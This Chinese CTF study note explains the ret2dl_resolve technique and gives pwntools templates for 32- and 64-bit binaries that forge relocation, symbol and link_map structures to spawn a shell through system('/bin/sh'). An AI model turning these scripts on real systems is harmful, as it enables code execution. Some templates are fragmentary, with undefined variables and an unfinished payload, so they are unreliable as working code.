ret2dl_resolve
介绍:
基于延迟绑定技术,通过伪造数据结构以及对函数延迟绑定过程的拦截,实现任意函数调用的目的
延迟绑定技术:
调用函数时:call func@plt:
func@plt;
jmp *(func@GOT) //首先进行GOT跳转,尝试第一次链接
push n //压入需要地址绑定的符号在重定位表中的下标
jmp PLT0 //跳转至PLT0
第一次调用时,func@GOT表中的值为接下来push n指令地址==》
程序执行push n==》n为该函数在.rel.plt表中的偏移
接下来jmp PLT0==》
//PLT0中
push *(got+4) //link_map的地址
jmp *(got+8) //_dl_runtime_resolve地址
==》进入_dl_runtime_resolve函数==》函数调用_dl_fixup函数:
1、程序先从第一个参数link_map获取字符串表.dynstr,符号表.dynsym,重定位表.rel.plt的地址
2、通过第二个参数n==》即.rel.plt表中的偏移reloc_index加上.rel.plt的地址获取函数对应的重定位结构的位置==》从而获取函数对应的r_offset以及符号表中的下标r_info>>8
3、根据符号表地址以及下标获取符号结构体,获得函数符号中的st_name(函数名相对于字符串.dynstr的偏移)
4、最后得到函数名的字符串==》前往libc中匹配函数名,寻找相应的函数并将地址填回r_offset,即函数got表中,完成延迟绑定
32位ret2dl_resolve
介绍:
适用于无法泄漏程序地址时,通过拦截延迟绑定的过程,实现对函数地址解析过程的劫持,使最终解析出来的函数为特定函数的函数地址==》实现无泄漏达到特定函数调用的目的
利用:
==》伪造reloc_index(伪造重定位表的下标实现相关利用)
==》
1、伪造reloc_index,使reloc_index加上.rel.plt的地址指向可控的地址,在该地址可伪造恶意的Elf32_Rel结构体
2、伪造Elf32_Rel结构体中的r_offset指向某一可写地址,最终函数地址会写入该地址处,伪造r_info&0xff为0x7
,因为类型需要为ELF_MACHINE_JMP_SLOT以绕过类型验证,伪造r_info>>8,使得r_info>>8加上.dynsym地址指向可控的地址,并在该地址伪造符号表结构体Elf32_Sym
伪造r_info&0xff为0x7:
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
3、伪造Elf32_Sym结构体中的st_name,使得.dynstr的地址加上该值指向可控地址,并在该地址处写入特定函数的函数名(system)
4、系统通过函数名匹配,定位至特定函数地址,获取该地址并写入到伪造的r_offset中,实现函数地址的获取
涉及的结构体:
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];
注意点:
如果reloc->r_info伪造不当,会使
ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff
偏大,导致
version = &l->l_versions[ndx]
出现访存错误==》
在伪造reloc->r_info,最好让ndx为0,即vernum[reloc->r_info]为0
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; //偏大
version = &l->l_versions[ndx]; //访存错误
if (version->hash == 0)
version = NULL;
}
例题:
0ctf2018-babystack
1、检查保护
exp(模板):
from pwn import *
name = './babystack'
p = process(name)
elf= ELF(name)
#获取原地址
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr #0x80482b0
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr #0x80481cc
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr #0x804822c
resolve_plt = 0x080482F0 #plt表的起始地址
leave_ret_addr = 0x08048455 #leave_ret
start = 0x804aa00 #要在bss段进行伪造的地址
align=0x8-(start-20-rel_plt_addr)%0x8
start+=align #对伪造的地址进行内存对齐
#构造地址
fake_rel_plt_addr = start #0x804aa04
fake_dynsym_addr = fake_rel_plt_addr + 0x8 #0x804aa0c
fake_dynstr_addr = fake_dynsym_addr + 0x10 #0x804aa1c
bin_sh_addr = fake_dynstr_addr + 0x7 #0x804aa23
n = fake_rel_plt_addr - rel_plt_addr #0x2754 伪造的.rel.plt与真的偏移
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7 #0x28407
str_offset = fake_dynstr_addr - dynstr_addr #0x27f0
fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) +p32(0)
fake_dynstr = "system\x00/bin/sh\x00\x00"
#构造payload
pay1 = 'a'*40 + p32(start-20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100)
p.send(pay1)
pay2 = p32(0) + p32(resolve_plt) + p32(n) +'abcd'+p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr
p.send(pay2)
#成功pwn
p.interactive()
# coding=utf-8
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
processName = 'main'
offset = 112
r = process('./' + processName)
context.log_level = 'debug'
rop = ROP('./' + processName)
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
index_offset=base_stage+20-rel_plt # .rel.plt
fake_sym_addr=base_stage+28
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) // 0x10
r_info = (index_dynsym << 8)|0x7
fake_rel_plt = p32(read_got) + p32(r_info)
st_name = (fake_sym_addr + 16) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
fake_str= b"system"
payload = b'AAAA' # 4
payload += p32(plt_0) # 8
payload += p32(index_offset) # 12
payload += b'aaaa' # 16
payload += p32(base_stage + 80) # 20 /bin/sh
payload += fake_rel_plt # 28
payload += align * b"B"
payload += fake_sym
payload += fake_str
payload += b"\x00" * (80 - len(payload))
payload += b'/bin/sh\x00'
payload += b"A"*(200 - len(payload))
64位ret2dl_resolve
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
//获取符号表地址
const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
//获取字符串表地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//获取函数对应的重定位表结构地址
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//获取函数对应的符号表结构地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//得到函数对应的got地址,即真实函数地址要填回的地址
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
DL_FIXUP_VALUE_TYPE value;
//判断重定位表的类型,必须要为7--ELF_MACHINE_JMP_SLOT
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
...
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
...
// 最后把value写入相应的GOT表条目rel_addr中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
与32不同,64位程序构造的数据一般在bss:
如0x601000-0x602000,导致相当于.dynsym的地址0x400000-0x401000很大==》
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
使得reloc->r_info很大==》
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
出现访存出错==》崩溃
===》绕过这个判断分支:
1、绕过l->l_info[VERSYMIDX (DT_VERSYM)] != NULL,使其不成立,也就是=NULL
==》使得link_map + 0x1c8为NULL==》需要往link_map写空值==》需要泄漏地址==》不可取
2、绕过__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0==》
伪造sym->st_other使它不为空==》
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
...
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
//认为该符号已经解析过,直接调用DL_FIXUP_MAKE_VALUE函数赋值
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}
...
// 最后把value写入相应的GOT表条目rel_addr中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
==》DL_FIXUP_MAKE_VALUE定义:
#define DL_FIXUP_MAKE_VALUE(map, addr) (addr)
/* Extract the code address from a value of type DL_FIXUP_MAKE_VALUE.*/
直接将l->l_addr + sym->st_value赋值给value
===》sym从link_map中来==》伪造link_map==》
若可以控制sym->st_value指向got表中的地址如:__libc_start_main的got==》
1->1_addr为目标地址(system)到__libc_start_main的偏移==》
最终的value:l->l_addr + sym->st_value就会是目标地址(system),实现无需leak地址引用
===》link_map定义:
type = struct link_map {
Elf64_Addr l_addr;
char *l_name;
Elf64_Dyn *l_ld;
struct link_map *l_next;
struct link_map *l_prev;
struct link_map *l_real;
Lmid_t l_ns;
struct libname_list *l_libname;
Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个表的信息
...
size_t l_tls_firstbyte_offset;
ptrdiff_t l_tls_offset;
size_t l_tls_modid;
size_t l_tls_dtor_count;
Elf64_Addr l_relro_addr;
size_t l_relro_size;
unsigned long long l_serial;
struct auditstate l_audit[];
} *
==》首先伪造1->1_addr为目标地址system与__libc_start_main的偏移
==》接下来构造sym->st_value指向__libc_start_main的got表的地址==》
//获取符号表地址
const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
//获取函数对应的重定位表结构地址
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//获取函数对应的符号表结构地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
==》sym通过&symtab[ELFW(R_SYM) (reloc->r_info)]获得==》
将reloc->r_info设置为0==》
控制symtab的第一个元素st_value指向__libc_start_main的got表的位置==》
symtab是l_info[DT_SYMTAB]==》
#define DT_SYMTAB 6
==》symtab是l_info[0x6]==》构造l_info[0x6]指向link_map+0x70,在link_map+0x78的位置填入__libc_start_main的got表减8的地址==》
symtab指向了__libc_start_main_got-8==》
st_value的偏移为8==》实现st_value指向__libc_start_main_got==》
由于symtab指向了__libc_start_main_got-8,地址一般也为got表地址,所以sym->st_other不为0成立
返回目标地址:
//获取函数对应的重定位表结构地址
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
...
//得到函数对应的got地址,即真实函数地址要填回的地址
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
若rel_addr(最终得到的地址)在link_map+0x28==》
是由l->l_addr + reloc->r_offset得到==》
l->l_addr已经确定==》为目标地址到got表中libc地址的偏移
需要控制reloc->r_offset使其加上l->l_addr为link_map+0x28的地址==》
若将reloc设定在link_map+0x30==》reloc_offset已经确定,由reloc_index*8确定==》
需要伪造l_info[DT_JMPREL]==》
#define DT_JMPREL 23
需要伪造.rel.plt表所对应的Elf64_Dyn结构体,将l_info[DT_JMPREL]指向link_map+0x80-8==》
即d_ptr为link_map+0x80==》在link_map+0x80中写入link_map+0x30-reloc_offset的值==》
使得.rel.plt表的地址为link_map+0x30-reloc_offset==》
经过
(D_PTR (l, l_info[DT_JMPREL]) + reloc_offset)
得到reloc指向link_map+0x30==》
Elf64_Rela
type = struct {
Elf64_Addr r_offset;
Elf64_Xword r_info;
Elf64_Sxword r_addend;
}
在link_map+0x30中伪造Elf64_Rela结构体,在r_offset填入link_map+0x28减去l->l_addr的值
===》最终得到的rel_addr为link_map+0x28,同时将r_info填入0x7绕过前面对类型的判定
====》最终形态:
sym->st_other不为0
rel_addr指向link_map+0x30
sym->st_value地址为__libc_start_main_got地址
1->1_addr为system到__libc_start_main的偏移
===》经过
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
得到value为system地址,在最后写入到rel_addr==》link_map+0x30中,实现对system函数的调用
涉及的结构体:
type = struct link_map {
Elf64_Addr l_addr;
char *l_name;
Elf64_Dyn *l_ld;
struct link_map *l_next;
struct link_map *l_prev;
struct link_map *l_real;
Lmid_t l_ns;
struct libname_list *l_libname;
Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个表的信息
...
size_t l_tls_firstbyte_offset;
ptrdiff_t l_tls_offset;
size_t l_tls_modid;
size_t l_tls_dtor_count;
Elf64_Addr l_relro_addr;
size_t l_relro_size;
unsigned long long l_serial;
struct auditstate l_audit[];
} *
Elf64_Sym
type = struct {
Elf64_Word st_name;
unsigned char st_info;
unsigned char st_other;
Elf64_Section st_shndx;
Elf64_Addr st_value;
Elf64_Xword st_size;
}
Elf64_Dyn
type = struct {
Elf64_Sxword d_tag;
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
}
Elf64_Rela
type = struct {
Elf64_Addr r_offset;
Elf64_Xword r_info;
Elf64_Sxword r_addend;
}
总结:
伪造sym->st_value等于某个got上已经解析的函数的表项(read@got)==>
在l->l_addr设置为system与这个函数的偏移==》
link_map伪造:
link_map+0x68的DT_STRTAB指针为可读地址
link_map+0x70的DT_SYMTAB指针
link_map+0xf8的DT_JMPREL指针
==》
.dynamic:
DT_SYMTAB结构体
DT_JMPPREL结构体
函数对应的Elf64_Rela结构体==》一般在构造过程中将reloc_arg作为0进行构造
例题:
1、检查保护:
2、主函数:
exp(模板):
#coding=UTF-8
from pwn import *
io=process('./test')
elf=ELF('./test')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
plt0=elf.get_section_by_name('.plt').header.sh_addr
pop_rdi_ret=0x401223
pop_rsi_r15_ret=0x401221
ret=0x4011BE
fake_link_map_addr=0x404100
def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
#各个指针的伪造地址
fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
#伪造结构体
fake_Elf64_Dyn_SYM=flat(p64(0),p64(st_value-8))
fake_Elf64_Dyn_JMPREL=flat(p64(0),p64(fake_link_map_addr+0x28))
#JMPREL指向.rel.plt地址,放在fake_link_map_addr+0x28
r_offset=fake_link_map_addr-l_addr
fake_Elf64_rela=flat(p64(r_offset),p64(7),p64(0))
#fake_link_map整体结构
fake_link_map=flat( #0x0
p64(l_addr), #0x8
fake_Elf64_Dyn_SYM, #0x18
fake_Elf64_Dyn_JMPREL, #0x28
fake_Elf64_rela, #0x40
'\x00'*0x28, #凑齐0x68,开始放指针
fake_Elf64_Dyn_STR_addr, #STRTAB指针,0x70
fake_Elf64_Dyn_SYM_addr, #SYMTAB指针,0x78
'/bin/sh\x00'.ljust(0x80,'\x00'),
fake_Elf64_Dyn_JMPREL_addr, #JMPEREL指针
)
return fake_link_map
l_addr=libc.sym['system']-libc.sym['read']
#read此时为一个已解析函数,取它与system的偏移为l_addr
st_value=elf.got['read']
#value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)
#获得伪造的link_map
payload='\x00'*0x28+p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(fake_link_map_addr)
payload+=p64(0)+p64(elf.plt['read'])+p64(ret)+p64(pop_rdi_ret)
payload+=p64(fake_link_map_addr+0x78)+p64(plt0+6)+p64(fake_link_map_addr)+p64(0)
payload=payload.ljust(0x200,'\x00')
io.sendafter("something:\n",payload)
io.send(fake_link_map)
io.interactive()
模板:
#coding=UTF-8
from pwn import *
io=process('./')
elf=ELF('./')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
plt0=elf.get_section_by_name('.plt').header.sh_addr
l_addr=libc.sym['system']-libc.sym['__libc_start_main']
#__libc_start_main此时为一个已解析函数,取它与system的偏移为l_addr
st_value=elf.got['__libc_start_main']
#value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)
def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
#各个指针的伪造地址
fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
#伪造结构体
fake_Elf64_Dyn_SYM=flat(p64(0),p64(st_value-8))
fake_Elf64_Dyn_JMPREL=flat(p64(0),p64(fake_link_map_addr+0x28))
#JMPREL指向.rel.plt地址,放在fake_link_map_addr+0x28
r_offset=fake_link_map_addr-l_addr
fake_Elf64_rela=flat(p64(r_offset),p64(7),p64(0))
#fake_link_map整体结构
fake_link_map=flat( #0x0
p64(l_addr), #0x8
fake_Elf64_Dyn_SYM, #0x18
fake_Elf64_Dyn_JMPREL, #0x28
fake_Elf64_rela, #0x40
'\x00'*0x28, #凑齐0x68,开始放指针
fake_Elf64_Dyn_STR_addr, #STRTAB指针,0x70
fake_Elf64_Dyn_SYM_addr, #SYMTAB指针,0x78
'/bin/sh\x00'.ljust(0x80,'\x00'),
fake_Elf64_Dyn_JMPREL_addr, #JMPEREL指针
)
return fake_link_map
fake_link_map=get_fake_link_map(fake_link_map_addr,l_addr,st_value)
#获得伪造的link_map
payload=
io.interactive()